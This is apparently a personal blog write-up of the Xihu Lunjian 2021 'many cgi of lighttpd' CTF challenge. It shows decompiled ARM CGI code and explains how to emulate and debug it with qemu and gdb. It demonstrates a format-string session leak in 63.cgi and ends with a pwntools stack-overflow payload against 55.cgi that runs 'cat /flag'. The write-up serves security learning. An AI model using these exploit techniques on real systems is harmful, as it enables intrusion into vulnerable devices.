笔记 & WP

IOT_Lighttpd

Word count: 2.3kReading time: 10 min
2024/03/16

前言

在复习西湖论剑的题目的时候,遇到了lighttpd作为启动的server,主要想了解一下cgilighttpd的调用方式和cgi的调试

lighttpdcgi的调用

主要参考文章

文章在第三部分的第四点中,已经说明了,我们无法单独的直接运行cgi,因为运行cgi依赖环境变量

这一点就是最重要的一点,简单的说lighttpd是一个启动cgi的程序,我们请求方式等其他基本的参数都是被设置成环境变量

所以我们如果想要调试cgi程序的话,我们肯定需要设置环境变量,也就是模拟lighttpd的作用

所以我们可以笼统抽象的理解,lighttpd的作用是把我们发送数据包的各种参数设置为环境变量,当然除了我们getpost的载荷数据

所以大致流程就是:

1
2
3
lighttpd =====接收数据包====> 参数设置环境变量
====判断需要调用的cgi===> cgi
====调用cgi=====> 回显

lighttpd在调用cgi时,是使用fork函数然后执行execve函数来实现的,所以我们很难在运行lighttpd中,调试cgi程序,在研究官方WP时,他给出的方法是,直接模拟lighttpd的作用,也就是设置环境变量,然后才运行我们要调式的程序的

ok,调试的方法和原理也大致剖析完毕,我们可以开始PWN!!!!!!

西湖论剑2021——many cgi of lighttpd

在这里我也学习到了lighttpd调用cgi的位置关系,基本上是在./www/cgi-bin/目录下

在这个目录下,我们可以看到三个程序

我们根据WP上分析的,就指向了55.cgi63.cgi,一个是栈溢出,一个是格式化字符串漏洞

所以我们就可以来分析一下这两个程序

55.cgi

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int sub_10CF0()
{
char *v0; // r0
void *ptr; // [sp+4h] [bp-18h]
int n; // [sp+8h] [bp-14h]
const char *v5; // [sp+Ch] [bp-10h]
char *v6; // [sp+10h] [bp-Ch]
const char *s1; // [sp+14h] [bp-8h]

if ( !sub_109F0() )
{
puts("No Authentication");
exit(1);
}
puts("Content-Type: text/plain\n");
s1 = getenv("REQUEST_METHOD");
if ( !strcmp(s1, "GET") )
{
v6 = getenv("QUERY_STRING");
sub_10B48(v6);
return 0;
}
if ( strcmp(s1, "POST") )
{
sub_10B48(0);
return 0;
}
v5 = getenv("CONTENT_TYPE");
if ( strcmp(v5, "application/x-www-form-urlencoded") )
{
printf("CONTENT_TYPE not supported now !");
return 0;
}
v0 = getenv("CONTENT_LENGTH");
n = atoi(v0);
if ( n <= 3316 && n >= 0 )
{
ptr = calloc(n + 1, 1u);
fread(ptr, 1u, n, (FILE *)stdin);
sub_10B48((char *)ptr);
free(ptr);
return 0;
}
printf("CONTENT_LENGTH not supported now !");
return -1;
}

我们层层分析,下面来看sub_109F0()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int sub_109F0()
{
char s[20]; // [sp+0h] [bp-54h] BYREF
char s2[20]; // [sp+14h] [bp-40h] BYREF
char haystack[24]; // [sp+28h] [bp-2Ch] BYREF
char *v4; // [sp+40h] [bp-14h]
char *v5; // [sp+44h] [bp-10h]
char *v6; // [sp+48h] [bp-Ch]
int v7; // [sp+4Ch] [bp-8h]

v7 = 0;
v6 = getenv("HTTP_COOKIES");
memset(s, 0, 0x11u);
sub_108D0(s);
if ( v6 )
{
memset(haystack, 0, 0x17u);
snprintf(haystack, 0x16u, "%s", v6);
v5 = strstr(haystack, "uuid=");
if ( v5 )
{
v4 = v5 + 5;
memset(s2, 0, 0x11u);
snprintf(s2, 0x11u, "%s", v5 + 5);
if ( !strncmp(s, s2, 0x10u) )
v7 = 1;
}
}
return v7;
}

这里有个比对,需要我们让ss2相等,我们可以看的出s2是由我们环境变量HTTP_COOKIES得到的,下面我们看看我们是如何得到s的值的

sub_108D0(char *a1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
char *__fastcall sub_108D0(char *a1)
{
char *result; // r0
char s[24]; // [sp+Ch] [bp-28h] BYREF
char *v4; // [sp+24h] [bp-10h]
char *v5; // [sp+28h] [bp-Ch]
FILE *stream; // [sp+2Ch] [bp-8h]

memset(s, 0, 0x17u);
stream = fopen("/var/tmp/session", "r");
if ( !stream )
{
printf("No Session");
exit(1);
}
fgets(s, 22, stream);
fclose(stream);
result = strstr(s, "uuid=");
v5 = result;
if ( result )
{
v4 = v5 + 5;
snprintf(s, 0x11u, "%s", v5 + 5);
result = strncpy(a1, s, 0x10u);
}
return result;
}

可以看到是由我们/var/tmp/session文件得到,所以这个是我们要执行后面内容必要拿到session的值

我们继续往下面看,我们看POST请求时会调用的函数

sub_10B48(0);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
char *__fastcall sub_10B48(char *result)
{
unsigned __int8 *s1; // [sp+4h] [bp-D20h]
char v2[3316]; // [sp+Ch] [bp-D18h] BYREF
char *v3; // [sp+D00h] [bp-24h]
char *v4; // [sp+D04h] [bp-20h]
size_t v5; // [sp+D08h] [bp-1Ch]
int v6; // [sp+D0Ch] [bp-18h]
size_t n; // [sp+D10h] [bp-14h]
int v8; // [sp+D14h] [bp-10h]
int v9; // [sp+D18h] [bp-Ch]
char *s2; // [sp+D1Ch] [bp-8h]

s1 = (unsigned __int8 *)result;
s2 = "*#$^";
if ( result )
{
if ( !strncmp(result, s2, 4u) )
{
v9 = s1[4];
v8 = s1[5] + 2 * v9;
n = s1[6] + 4 * v8;
v6 = s1[7];
v5 = s1[8] + 2 * v6;
memset(v2, 0, sizeof(v2));
memcpy(v2, s1, n);
result = strstr(v2, "*#$^");
v4 = result;
if ( result )
{
v3 = &v4[v5 - 77];
if ( *v3 )
result = sub_10AFC(v3, v5);
}
}
else
{
result = strstr(v2, "ping");
if ( result )
result = (char *)sub_109B0("20.21.2.26");
}
}
return result;
}

会取参数*#$^的值并进行一系列的传递值,然后执行sub_10AFC(v3, v5);

1
2
3
4
5
6
7
8
9
10
char *__fastcall sub_10AFC(char *result, size_t a2)
{
char dest[752]; // [sp+Ch] [bp-2F8h] BYREF
size_t n; // [sp+2FCh] [bp-8h]

n = a2;
if ( result )
result = strncpy(dest, result, n);
return result;
}

这里是进行了copy的操作,但是我们可以控制v5的值,v5变量类型是size_t,也就是4个字节大小,但是这里栈大小就是0x2f8,我们可以复制的大小为0xffffffff,完完全全的是栈溢出

我们看看另一个程序

63.cgi

这个程序的不同点就在于验证对session的部分中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int sub_108C8()
{
char s[20]; // [sp+0h] [bp-54h] BYREF
char s2[20]; // [sp+14h] [bp-40h] BYREF
char haystack[24]; // [sp+28h] [bp-2Ch] BYREF
char *format; // [sp+40h] [bp-14h]
char *v5; // [sp+44h] [bp-10h]
char *v6; // [sp+48h] [bp-Ch]
int v7; // [sp+4Ch] [bp-8h]

v7 = 0;
v6 = getenv("HTTP_COOKIES");
memset(s, 0, 0x11u);
sub_107E8(s);
if ( v6 )
{
memset(haystack, 0, 0x17u);
snprintf(haystack, 0x16u, "%s", v6);
v5 = strstr(haystack, "uuid=");
if ( v5 )
{
format = v5 + 5;
memset(s2, 0, 0x11u);
snprintf(s2, 0x11u, v5 + 5); // 格式化字符串漏洞
puts(s2);
if ( !strncmp(s, s2, 0x10u) )
v7 = 1;
}
}
return v7;
}

一个格式化字符串漏洞,十分明显,我们上面把服务器的session读到了栈空间上,我们就可以通过格式化字符串读取到session

官方wp上没有说如何调试63.cgi,但是我根据上面分析的,我们可以模拟lighttpd操作设置环境变量来实现

1
2
3
4
export REQUEST_METHOD=POST                                                                                   
export HTTP_COOKIES='uuid=Feng_ZZ'
export CONTENT_LENGTH=3000
export CONTENT_TYPE='application/x-www-form-urlencoded'

泄露session

然后跟我们使用qemu的用户模拟来运行63.cgi

1
qemu-arm -L ../../../ ./63.cgi  #-L 指定链接库

看看是否可以格式化字符串漏洞

HTTP_COOKIES修改为%p%p%p,看它是否会打印出来数值

很明显的打印出来了,我们下面调试一下,确认一下session在栈的位置以及如何泄露出来

1
qemu-arm -g 1234 -L ../../../ ./63.cgi

然后我们gdb-multiarch连接

1
gdb-multiarch  ./63.cgi

在对应位置下断点

session是在栈顶的位置

当参数在4个以内时使用r0-r3寄存器分别传递1-4号参数,后面通过栈传递

但是经过调试可以发现,我们通过%2$p就可以泄露出来第一段session,有点点小疑惑

所以我们也知道如何泄露出来session了,就可以利用55.cgi的栈溢出来实现拿shell

栈溢出拿shell

通过分析55.cgi,我们知道在sub_10B48(0);中有栈溢出的漏洞,我们现在需要分析一下如何利用这个漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
char *__fastcall sub_10B48(char *result)
{
unsigned __int8 *s1; // [sp+4h] [bp-D20h]
char v2[3316]; // [sp+Ch] [bp-D18h] BYREF
char *v3; // [sp+D00h] [bp-24h]
char *v4; // [sp+D04h] [bp-20h]
size_t v5; // [sp+D08h] [bp-1Ch]
int v6; // [sp+D0Ch] [bp-18h]
size_t n; // [sp+D10h] [bp-14h]
int v8; // [sp+D14h] [bp-10h]
int v9; // [sp+D18h] [bp-Ch]
char *s2; // [sp+D1Ch] [bp-8h]

s1 = (unsigned __int8 *)result;
s2 = "*#$^";
if ( result )
{
if ( !strncmp(result, s2, 4u) )
{
v9 = s1[4];
v8 = s1[5] + 2 * v9;
n = s1[6] + 4 * v8;
v6 = s1[7];
v5 = s1[8] + 2 * v6;
memset(v2, 0, sizeof(v2));
memcpy(v2, s1, n);
result = strstr(v2, "*#$^");
v4 = result;
if ( result )
{
v3 = &v4[v5 - 77];
if ( *v3 )
result = sub_10AFC(v3, v5);
}
}
else
{
result = strstr(v2, "ping");
if ( result )
result = (char *)sub_109B0("20.21.2.26");
}
}
return result;
}

可以看到我们可以通过*#$^参数来控制v3v5对应的值,进入到sub_10AFC中,这里调用了strncpy但是没有对大小进行限制,所以我们可以通过这个来实现栈溢出

现在问题就是如何精准的控制参数来覆盖了,就是疯狂的调试:confounded:

当然我偷懒了 省略了一下调试过程,这里用官方wp栈溢出的部分,这里用的刚好的是在sub_109B0中调用systemgadget

问就是累了

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

payload = b"*#$^" + b"\xff" * 3 + b"\xff" * 3
payload = payload.ljust(0x2b0, b"B")
payload += b'cat /flag;'
payload = payload.ljust(0x5A8, b"C")
payload += p32(0x000109DC)


with open("text.txt","wb+") as file:
file.write(payload)

这里有所改动就是把他的反弹shell进行修改成为cat /flag,不知道是什么原因直接执行system(“/bin/sh”)会有问题

调试方法就是:

1
cat payload | qemu-arm -g 1234 -L ../../../ ./55.cgi

通过管道符进行输入 给我打开了全新的调试思路

调试的部分同上面63.cgi

arm架构的栈溢出跟我们正常pwn题的利用手法实际上没有特别大的差别,只能说没有mips的恶心

最后

下面估计会复现另一道西湖论剑关于lighttpd的题,属于是乘热打铁了,但是

累死了!!!!!!!!!!!:sleeping:

CATALOG
  1. 1. 前言
    1. 1.1. lighttpd与cgi的调用
  2. 2. 西湖论剑2021——many cgi of lighttpd
    1. 2.1. 55.cgi
    2. 2.2. 63.cgi
    3. 2.3. 泄露session
    4. 2.4. 栈溢出拿shell
  3. 3. 最后